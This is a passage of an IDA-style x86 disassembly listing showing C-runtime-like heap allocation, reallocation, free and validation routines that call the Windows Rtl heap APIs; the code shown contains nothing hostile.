sub_4235A7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4234C0

loc_4235B2:				; CODE XREF: sub_4234C0+E5j
		cmp	[ebp+var_1C], 0
		jz	short loc_4235BD
		mov	eax, [ebp+var_1C]
		jmp	short loc_4235FC
; ---------------------------------------------------------------------------

loc_4235BD:				; CODE XREF: sub_4234C0+B4j
					; sub_4234C0+F6j
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		jmp	short loc_4235FC
; ---------------------------------------------------------------------------

loc_4235D1:				; CODE XREF: sub_4234C0:loc_42353Ej
					; sub_4234C0+8Aj
		cmp	[ebp+arg_0], 0
		jnz	short loc_4235DE
		mov	[ebp+arg_0], 1

loc_4235DE:				; CODE XREF: sub_4234C0+115j
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5418	; RtlAllocateHeap

loc_4235FC:				; CODE XREF: sub_4234C0+79j
					; sub_4234C0+FBj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4234C0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423610	proc near		; CODE XREF: sub_41BF80+79p
					; sub_41C3F0+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_423610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423620	proc near		; CODE XREF: sub_41C3F0+2D4p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004236CC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 004237C5 SIZE 00000068 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D060
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_423650
		xor	eax, eax
		jmp	loc_42381C
; ---------------------------------------------------------------------------

loc_423650:				; CODE XREF: sub_423620+27j
		cmp	dword_4F3AAC, 3
		jnz	loc_423708
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4240F0
		add	esp, 4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4236B3
		mov	[ebp+var_1C], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F3ACC
		ja	short loc_4236B3
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_424FD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4236B3
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_1C], edx

loc_4236B3:				; CODE XREF: sub_423620+61j
					; sub_423620+73j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4236C1
		jmp	short loc_4236CC
sub_423620	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236C1	proc near		; CODE XREF: sub_423620+9Ap
					; DATA XREF: .packed:0043D068o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_4236C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423620

loc_4236CC:				; CODE XREF: sub_423620+9Fj
		cmp	[ebp+var_20], 0
		jnz	short loc_423703
		cmp	[ebp+arg_4], 0
		jnz	short loc_4236DF
		mov	[ebp+arg_4], 1

loc_4236DF:				; CODE XREF: sub_423620+B6j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_423703:				; CODE XREF: sub_423620+B0j
		jmp	loc_423819
; ---------------------------------------------------------------------------

loc_423708:				; CODE XREF: sub_423620+37j
		cmp	dword_4F3AAC, 2
		jnz	loc_4237E6
		cmp	[ebp+arg_4], 0
		jnz	short loc_423722
		mov	[ebp+arg_4], 1

loc_423722:				; CODE XREF: sub_423620+F9j
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426110
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_4237AC
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+arg_4]
		cmp	edx, dword_453C9C
		ja	short loc_423793
		mov	eax, [ebp+arg_4]
		shr	eax, 4
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_426880
		add	esp, 10h
		test	eax, eax
		jz	short loc_423793
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1C], ecx

loc_423793:				; CODE XREF: sub_423620+14Cj
					; sub_423620+16Bj
		push	0FFFFFFFFh
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edx
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420772
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42381C
; ---------------------------------------------------------------------------

loc_4237AC:				; CODE XREF: sub_423620+13Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4237BA
		jmp	short loc_4237C5
; END OF FUNCTION CHUNK	FOR sub_423620

; =============== S U B	R O U T	I N E =======================================



sub_4237BA	proc near		; CODE XREF: sub_423620+193p
					; DATA XREF: .packed:0043D074o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_4237BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423620

loc_4237C5:				; CODE XREF: sub_423620+198j
		cmp	[ebp+var_28], 0
		jnz	short loc_4237E4
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_4237E4:				; CODE XREF: sub_423620+1A9j
		jmp	short loc_423819
; ---------------------------------------------------------------------------

loc_4237E6:				; CODE XREF: sub_423620+EFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_4237F3
		mov	[ebp+arg_4], 1

loc_4237F3:				; CODE XREF: sub_423620+1CAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	10h
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_423819:				; CODE XREF: sub_423620:loc_423703j
					; sub_423620:loc_4237E4j
		mov	eax, [ebp+var_1C]

loc_42381C:				; CODE XREF: sub_423620+2Bj
					; sub_423620+18Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423620
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423830	proc near		; CODE XREF: sub_41C3F0+2AFp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00423A03 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 00423C1A SIZE 000000A9 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D078
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_423870
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_423440
		add	esp, 4
		jmp	loc_423CB2
; ---------------------------------------------------------------------------

loc_423870:				; CODE XREF: sub_423830+2Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_423889
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_423CD0
		add	esp, 4
		xor	eax, eax
		jmp	loc_423CB2
; ---------------------------------------------------------------------------

loc_423889:				; CODE XREF: sub_423830+44j
		cmp	dword_4F3AAC, 3
		jnz	loc_423A6F

loc_423896:				; CODE XREF: sub_423830:loc_423A6Aj
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_423A3C
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4240F0
		add	esp, 4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_4239EA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F3ACC
		ja	loc_42396A
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_424FD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_423900
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_24], edx
		jmp	short loc_42396A
; ---------------------------------------------------------------------------

loc_423900:				; CODE XREF: sub_423830+C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_424790
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_42396A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_423931
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_3C], ecx
		jmp	short loc_423937
; ---------------------------------------------------------------------------

loc_423931:				; CODE XREF: sub_423830+F7j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_3C], edx

loc_423937:				; CODE XREF: sub_423830+FFj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4240F0
		add	esp, 4
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_4241B0
		add	esp, 8

loc_42396A:				; CODE XREF: sub_423830+AAj
					; sub_423830+CEj ...
		cmp	[ebp+var_24], 0
		jnz	short loc_4239EA
		cmp	[ebp+arg_4], 0
		jnz	short loc_42397D
		mov	[ebp+arg_4], 1

loc_42397D:				; CODE XREF: sub_423830+144j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5418	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4239EA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_4239C0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_40], eax
		jmp	short loc_4239C6
; ---------------------------------------------------------------------------

loc_4239C0:				; CODE XREF: sub_423830+186j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_40], ecx

loc_4239C6:				; CODE XREF: sub_423830+18Ej
		mov	edx, [ebp+var_40]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	sub_4241B0
		add	esp, 8

loc_4239EA:				; CODE XREF: sub_423830+9Bj
					; sub_423830+13Ej ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4239F8
		jmp	short loc_423A03
sub_423830	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239F8	proc near		; CODE XREF: sub_423830+1C1p
					; DATA XREF: .packed:0043D080o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_4239F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423830

loc_423A03:				; CODE XREF: sub_423830+1C6j
		cmp	[ebp+var_28], 0
		jnz	short loc_423A3C
		cmp	[ebp+arg_4], 0
		jnz	short loc_423A16
		mov	[ebp+arg_4], 1

loc_423A16:				; CODE XREF: sub_423830+1DDj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_24], eax

loc_423A3C:				; CODE XREF: sub_423830+71j
					; sub_423830+1D7j
		cmp	[ebp+var_24], 0
		jnz	short loc_423A4B
		cmp	dword_4F3434, 0
		jnz	short loc_423A53

loc_423A4B:				; CODE XREF: sub_423830+210j
		mov	eax, [ebp+var_24]
		jmp	loc_423CB2
; ---------------------------------------------------------------------------

loc_423A53:				; CODE XREF: sub_423830+219j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_423170
		add	esp, 4
		test	eax, eax
		jnz	short loc_423A6A
		xor	eax, eax
		jmp	loc_423CB2
; ---------------------------------------------------------------------------

loc_423A6A:				; CODE XREF: sub_423830+231j
		jmp	loc_423896
; ---------------------------------------------------------------------------

loc_423A6F:				; CODE XREF: sub_423830+60j
		cmp	dword_4F3AAC, 2
		jnz	loc_423C4A
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_423A9C
		cmp	[ebp+arg_4], 0
		jbe	short loc_423A95
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		jmp	short loc_423A9C
; ---------------------------------------------------------------------------

loc_423A95:				; CODE XREF: sub_423830+256j
		mov	[ebp+arg_4], 10h

loc_423A9C:				; CODE XREF: sub_423830+250j
					; sub_423830+263j ...
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_423C1A
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426110
		add	esp, 0Ch
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	loc_423BE7
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_453C9C
		jnb	loc_423B78
		mov	edx, [ebp+arg_4]
		shr	edx, 4
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_38]
		push	edx
		call	sub_426880
		add	esp, 10h
		test	eax, eax
		jz	short loc_423B15
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_24], eax
		jmp	short loc_423B78
; ---------------------------------------------------------------------------

loc_423B15:				; CODE XREF: sub_423830+2DBj
		mov	ecx, [ebp+arg_4]
		shr	ecx, 4
		push	ecx
		call	sub_426210
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_423B78
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 4
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_4]
		jnb	short loc_423B4A
		mov	edx, [ebp+var_34]
		mov	[ebp+var_44], edx
		jmp	short loc_423B50
; ---------------------------------------------------------------------------

loc_423B4A:				; CODE XREF: sub_423830+310j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_44], eax

loc_423B50:				; CODE XREF: sub_423830+318j
		mov	ecx, [ebp+var_44]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_4261A0
		add	esp, 0Ch

loc_423B78:				; CODE XREF: sub_423830+2B8j
					; sub_423830+2E3j ...
		cmp	[ebp+var_24], 0
		jnz	short loc_423BE5
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5418	; RtlAllocateHeap
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_423BE5
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 4
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_423BB7
		mov	eax, [ebp+var_34]
		mov	[ebp+var_48], eax
		jmp	short loc_423BBD
; ---------------------------------------------------------------------------

loc_423BB7:				; CODE XREF: sub_423830+37Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_48], ecx

loc_423BBD:				; CODE XREF: sub_423830+385j
		mov	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_41FBF0
		add	esp, 0Ch
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_38]
		push	ecx
		call	sub_4261A0
		add	esp, 0Ch

loc_423BE5:				; CODE XREF: sub_423830+34Cj
					; sub_423830+368j
		jmp	short loc_423C01
; ---------------------------------------------------------------------------

loc_423BE7:				; CODE XREF: sub_423830+2A9j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_24], eax

loc_423C01:				; CODE XREF: sub_423830:loc_423BE5j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423C0F
		jmp	short loc_423C1A
; END OF FUNCTION CHUNK	FOR sub_423830

; =============== S U B	R O U T	I N E =======================================



sub_423C0F	proc near		; CODE XREF: sub_423830+3D8p
					; DATA XREF: .packed:0043D08Co
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423C0F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423830

loc_423C1A:				; CODE XREF: sub_423830+277j
					; sub_423830+3DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_423C29
		cmp	dword_4F3434, 0
		jnz	short loc_423C31

loc_423C29:				; CODE XREF: sub_423830+3EEj
		mov	eax, [ebp+var_24]
		jmp	loc_423CB2
; ---------------------------------------------------------------------------

loc_423C31:				; CODE XREF: sub_423830+3F7j
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_423170
		add	esp, 4
		test	eax, eax
		jnz	short loc_423C45
		xor	eax, eax
		jmp	short loc_423CB2
; ---------------------------------------------------------------------------

loc_423C45:				; CODE XREF: sub_423830+40Fj
		jmp	loc_423A9C
; ---------------------------------------------------------------------------

loc_423C4A:				; CODE XREF: sub_423830+246j
					; sub_423830:loc_423CB0j
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_423C88
		cmp	[ebp+arg_4], 0
		jnz	short loc_423C64
		mov	[ebp+arg_4], 1

loc_423C64:				; CODE XREF: sub_423830+42Bj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_24], eax

loc_423C88:				; CODE XREF: sub_423830+425j
		cmp	[ebp+var_24], 0
		jnz	short loc_423C97
		cmp	dword_4F3434, 0
		jnz	short loc_423C9C

loc_423C97:				; CODE XREF: sub_423830+45Cj
		mov	eax, [ebp+var_24]
		jmp	short loc_423CB2
; ---------------------------------------------------------------------------

loc_423C9C:				; CODE XREF: sub_423830+465j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_423170
		add	esp, 4
		test	eax, eax
		jnz	short loc_423CB0
		xor	eax, eax
		jmp	short loc_423CB2
; ---------------------------------------------------------------------------

loc_423CB0:				; CODE XREF: sub_423830+47Aj
		jmp	short loc_423C4A
; ---------------------------------------------------------------------------

loc_423CB2:				; CODE XREF: sub_423830+3Bj
					; sub_423830+54j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423830
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CD0	proc near		; CODE XREF: sub_41CA80+26Ep
					; sub_41CA80+3B2p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423D56 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00423DD8 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D090
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_423CFE
		jmp	loc_423E05
; ---------------------------------------------------------------------------

loc_423CFE:				; CODE XREF: sub_423CD0+27j
		cmp	dword_4F3AAC, 3
		jnz	short loc_423D74
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4240F0
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_423D3D
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_4241B0
		add	esp, 8

loc_423D3D:				; CODE XREF: sub_423CD0+5Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423D4B
		jmp	short loc_423D56
sub_423CD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_423D4B	proc near		; CODE XREF: sub_423CD0+74p
					; DATA XREF: .packed:0043D098o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423D4B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CD0

loc_423D56:				; CODE XREF: sub_423CD0+79j
		cmp	[ebp+var_1C], 0
		jnz	short loc_423D6F
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F5414	; RtlFreeHeap

loc_423D6F:				; CODE XREF: sub_423CD0+8Aj
		jmp	loc_423E05
; ---------------------------------------------------------------------------

loc_423D74:				; CODE XREF: sub_423CD0+35j
		cmp	dword_4F3AAC, 2
		jnz	short loc_423DF2
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_426110
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_423DBF
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_4261A0
		add	esp, 0Ch

loc_423DBF:				; CODE XREF: sub_423CD0+D9j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423DCD
		jmp	short loc_423DD8
; END OF FUNCTION CHUNK	FOR sub_423CD0

; =============== S U B	R O U T	I N E =======================================



sub_423DCD	proc near		; CODE XREF: sub_423CD0+F6p
					; DATA XREF: .packed:0043D0A4o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423DCD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CD0

loc_423DD8:				; CODE XREF: sub_423CD0+FBj
		cmp	[ebp+var_24], 0
		jnz	short loc_423DF0
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5414	; RtlFreeHeap

loc_423DF0:				; CODE XREF: sub_423CD0+10Cj
		jmp	short loc_423E05
; ---------------------------------------------------------------------------

loc_423DF2:				; CODE XREF: sub_423CD0+ABj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5414	; RtlFreeHeap

loc_423E05:				; CODE XREF: sub_423CD0+29j
					; sub_423CD0:loc_423D6Fj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423CD0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E20	proc near		; CODE XREF: sub_41D1D0+4Ap
					; .packed:00423F33p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423E8D SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00423ED2 SIZE 00000052 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D0A8
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0FFFFFFFEh
		cmp	dword_4F3AAC, 3
		jnz	short loc_423E8F
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_4256F0
		test	eax, eax
		jge	short loc_423E74
		mov	[ebp+var_1C], 0FFFFFFFCh

loc_423E74:				; CODE XREF: sub_423E20+4Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423E82
		jmp	short loc_423E8D
sub_423E20	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E82	proc near		; CODE XREF: sub_423E20+5Bp
					; DATA XREF: .packed:0043D0B0o
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423E82	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423E20

loc_423E8D:				; CODE XREF: sub_423E20+60j
		jmp	short loc_423ED2
; ---------------------------------------------------------------------------

loc_423E8F:				; CODE XREF: sub_423E20+31j
		cmp	dword_4F3AAC, 2
		jnz	short loc_423ED2
		push	9
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_4], 1
		call	sub_4269F0
		test	eax, eax
		jge	short loc_423EB9
		mov	[ebp+var_1C], 0FFFFFFFCh

loc_423EB9:				; CODE XREF: sub_423E20+90j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_423EC7
		jmp	short loc_423ED2
; END OF FUNCTION CHUNK	FOR sub_423E20

; =============== S U B	R O U T	I N E =======================================



sub_423EC7	proc near		; CODE XREF: sub_423E20+A0p
					; DATA XREF: .packed:0043D0BCo
		push	9
		call	sub_423320
		add	esp, 4
		retn
sub_423EC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423E20

loc_423ED2:				; CODE XREF: sub_423E20:loc_423E8Dj
					; sub_423E20+76j ...
		push	0
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5474	; HeapValidate
		test	eax, eax
		jnz	short loc_423F10
